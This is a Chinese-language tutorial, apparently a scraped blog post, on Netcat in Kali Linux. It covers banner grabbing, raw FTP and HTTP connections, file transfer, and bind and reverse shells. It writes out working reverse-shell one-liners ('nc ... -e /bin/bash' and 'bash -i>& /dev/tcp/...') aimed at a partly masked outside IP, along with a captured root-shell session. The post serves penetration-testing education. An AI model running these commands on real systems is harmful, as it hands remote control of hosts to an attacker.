Kali Linux Netcat 学习 与 网络攻击
Netcat 网络攻击 以及 应用
1.用Netcat进行黑客攻击第1部分:基础知识
Netcat是一个很好的网络实用程序,用于使用TCP和UPD协议读取和写入网络连接。Netcat通常被称为网络工具中的瑞士军刀,我们将在使用黑客教程的不同教程中大量使用它。Netcat最常见的用途是设置反向和绑定shell,管道和重定向网络流量,端口侦听,调试程序和脚本以及Banner抓取。在本教程中,我们将学习如何使用Netcat的基本功能,如:
Banner抓取 原始连接 Web服务器交互
1.1 Netcat Banner获取
使用以下命令来获取服务器Banner(与服务建立原始连接):
nc [ip address] [port]
我们来试试这个在21端口运行的Metasploitable 2上的FTP服务:
nc 192.168.1.100 21
nc [ip] [port]用于与端口进行原始连接,当可用时将返回服务器Banner。
code:
rocky@kail: nc 23.105.202.xx 21 # 21 ftp 控制链接
220 (vsFTPd 2.2.2) # 系统服务 banner
1.2 Netcat原连接
为了演示原始连接的工作原理,我们将在FTP服务连接到目标主机后发出一些FTP命令。
在匿名的情况下,我们来看看这个FTP服务器是否允许匿名访问,通过USER和PASS命令。
code:
rocky@kail: nc 23.105.202.xx 21
220 (vsFTPd 2.2.2)
user ligang
331 Please specify the password.
1.3 Web服务器交互
Netcat还可以通过发出HTTP请求与Web服务器进行交互。
通过以下命令,我们可以抓住在Metasploitable 2上运行的Web服务的Banner:
nc 23.105.202.xx 80
然后运行此HTTP请求:
HEAD / HTTP / 1.0
rocky@kail: nc 23.105.202.xx 80
HEAD / HTTP / 1.0 << 输入
HTTP/1.1 400 Bad Request
Server: nginx/1.12.0
Date: Sun, 28 May 2017 08:06:19 GMT
Content-Type: text/html
Content-Length: 173
Connection: close
1.4 使用Netcat进行文件传输
在这个例子中,我们将使用Netcat连接传输一个文本文件。假设我们在目标主机上执行远程命令,我们希望将文件从攻击主机传输到目标主机。首先,我们需要在目标主机上设置一个侦听器,并从攻击主机连接到它。我们将使用端口8080用于此目的,我们将该文件安全保存到桌面:
nc -lvp 8080> 1.txt
在攻击主机上,我们连接到8080端口并发送文件名称transfer.txt:
nc 192.168.100.107 8080 < 1.txt
2 用Netcat进行黑客攻击第2部分:绑定和反向shell
Netcat反向reverse shell
在渗透测试中,最常见,或者最受欢迎的用法是反向 reverse shell和正向bind shell。反向shell是从目标主机发起到处于监听状态的攻击机器的shell连接方式,又叫被动连接,而正向bind shell是攻击主机通过特定的端口进行侦听目标主机即将到来的连接。在恶意软件中,bind shell又通常被称为后门。
在下面的内容中我们将展示使用bind shell和reverse shell。下面将使用4444端口,但请注意,这可以是任何开放端口。实际上,通常您需要使用更常见的端口,如80和443来设置反向shell,因为这些端口是更常见的打开。
NC reverse shell 工作原理:
攻击主机A执行:
nc -lvp 4444 ; 监听被攻击者链接
被攻击主机B执行:
nc xxx.xxx.xxx.xxx 4444 -e /bin/bash ; 将bash shell 权限提供给攻击者 实现控制权限的转移;
实现通信后:
在攻击主机A上执行命令,即可操作被攻击者B
缺点:
此时被攻击者B 需要使用Netcat命令, 而且普通 GNU Linux nc 并没有 -e { -e filename program to exec after connect [dangerous]} 参数; 顾此种反向链接并不适用;
2.1 使用Bash 来代替Nc实现反向链接;
被攻击主机B:
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
攻击者A:
nc -lvp 4444
A机代码:
[root@virtualS ~]# nc -lvp 4444
Connection from 111.15.33.114:17835 ## 此时B机执行转移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@kailvirtual:~#
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
命令解释:
bash:
-i if the -i option is present, the shell is interactive
shell:
0/1/2 分别代表Linux标准输入,输出,异常 即 C编程中的 stdin, stdout, stderr
0>&1 指 将标准输入完全输出到标准输出中;
采用&可以将 0/1 绑定在一起。这条命令的作用标准输入将和标准输出同用一个文件描述符,说人话就是错误输入将会和标准输出输出到同一个地方。
2.2 Netcat正向bind Shell
bind shell是一个绑定到目标主机上的特定端口以监听即将到来的连接的shell。我们来看看一个Netcat正向bind shell的原理:
攻击主机A:
rocky@mac: nc 192.168.1.9 4444
id
uid=0(root) gid=0(root) groups=0(root)
echo $HOSTNAME
kailvirtual
相同点:
我们都需要被攻击者将其shell控制权限交给我们
将shell command 以数据流的形式重定向到被攻击主机的Bash shell中;
Kali Linux Netcat 学习 与 网络攻击的更多相关文章
- ApacheCN Kali Linux 译文集 20211020 更新
Kali Linux 秘籍 中文版 第一章 安装和启动Kali 第二章 定制 Kali Linux 第三章 高级测试环境 第四章 信息收集 第五章 漏洞评估 第六章 漏洞利用 第七章 权限提升 第八章 ...
- 学习Kali Linux必须知道的几点
Kali Linux 在渗透测试和白帽子方面是业界领先的 Linux 发行版.默认情况下,该发行版附带了大量入侵和渗透的工具和软件,并且在全世界都得到了广泛认可.即使在那些甚至可能不知道 Linux ...
- kali linux 网络渗透测试学习笔记(一)Nmap工具进行端口扫描
一.利用Nmap扫描网站服务器的端口开放情况 首先打开我们的kali linux才做系统,再打开其命令行模式,输入:nmap www.csdn.net 如下图所示: 因此,通过这个结果可以表明csdn ...
- kali linux学习笔记之系统定制及优化(附:中文输入法设置)
fix update flash plugin on kali rolling author:@kerker 0x00设置软件源 root@kali:~# vim /etc/apt/sources.l ...
- Kali Linux渗透基础知识整理(四):维持访问
Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...
- Kali Linux——迈向网络攻防
自从进入大三的课程后,在已学的高数.线代.数论.概率论.信息论.通信等知识的技术上,开始了网络信息安全.网 络攻防的学习.俗话说得好,磨刀不误砍柴工,开始网络攻防之旅也势必要一个好的工具.然 ...
- Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016
Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1 本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Att ...
- Kali linux渗透测试常用工具汇总1
1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...
- Kali Linux下破解WIFI密码挂载usb无线网卡的方法
Kali Linux下破解WIFI密码挂载usb无线网卡的方法 时间:2014-10-12 来源:服务器之家 投稿:root 首先我要说的是,wifi密码的破解不是想象中的那么容易,目前还 ...
随机推荐
- c# Task 篇幅二
上面一篇https://i.cnblogs.com/EditPosts.aspx?postid=10444773我们介绍了Task的启动,Task的一些方法以及应用,今天我们着重介绍一下Task其它概 ...
- [前端]AngularJS 簡易物件修改入門
各位好,今天要來介紹如何簡單的修改網站上AngularJS相關Application的內容 進而做到某些效果.(警告!所有的Web Application都應該在後端加上相關驗證) 透過本篇你可以簡單 ...
- 【微服务No.2】polly微服务故障处理库
熔断.降级: 熔断:熔断就是我们常说的“保险丝”,意为当服务出现某些状况时,切断服务,从而防止应用程序不断地常识执行可能会失败的操作造成系统的“雪崩”,或者大量的超时等待导致系统卡死等情况,很多地方也 ...
- 开源IM项目-InChat登录接口设计与实现(基于Netty)
- 为什么选择 Intellij IDEA 作为日常开发工具
作为一个从事 Java 开发的程序员,每天离不开编辑器的帮助.还记得刚开始学习 Java 编程的时候,使用 Eclipse 作为日常开发工具.后来工作以后,需要使用 Intellij IDEA,刚开始 ...
- Java设计模式——适配器模式(Adapter)
目的:把源类型适配为目标类型,以适应客户端(Client)的需求:此处我们把目标接口的调用方视为客户端 使用场景:需要对类型进行由源类型到目标类型转换的场景中 前置条件:已有客户端 //Client ...
- Python 面向对象之反射
Python 面向对象之反射 TOC 什么是反射? hasattr getattr setattr delattr 哪些对象可以使用反射 反射的好处 例子一 例子二 什么是反射? 程序可以访问.检查和 ...
- 【代码笔记】Web-CSS-CSS background背景
一,效果图. 二,代码. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> ...
- JDBC操作MySQL数据
对原始jdbc进行封装 package com.utils; import java.sql.Connection; import java.sql.DriverManager; import jav ...
- Webpack4教程:第一部分,入口、输入和ES6模块
转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 原文出处:https://wanago.io/2018/07/16/webpack-4-course-par ...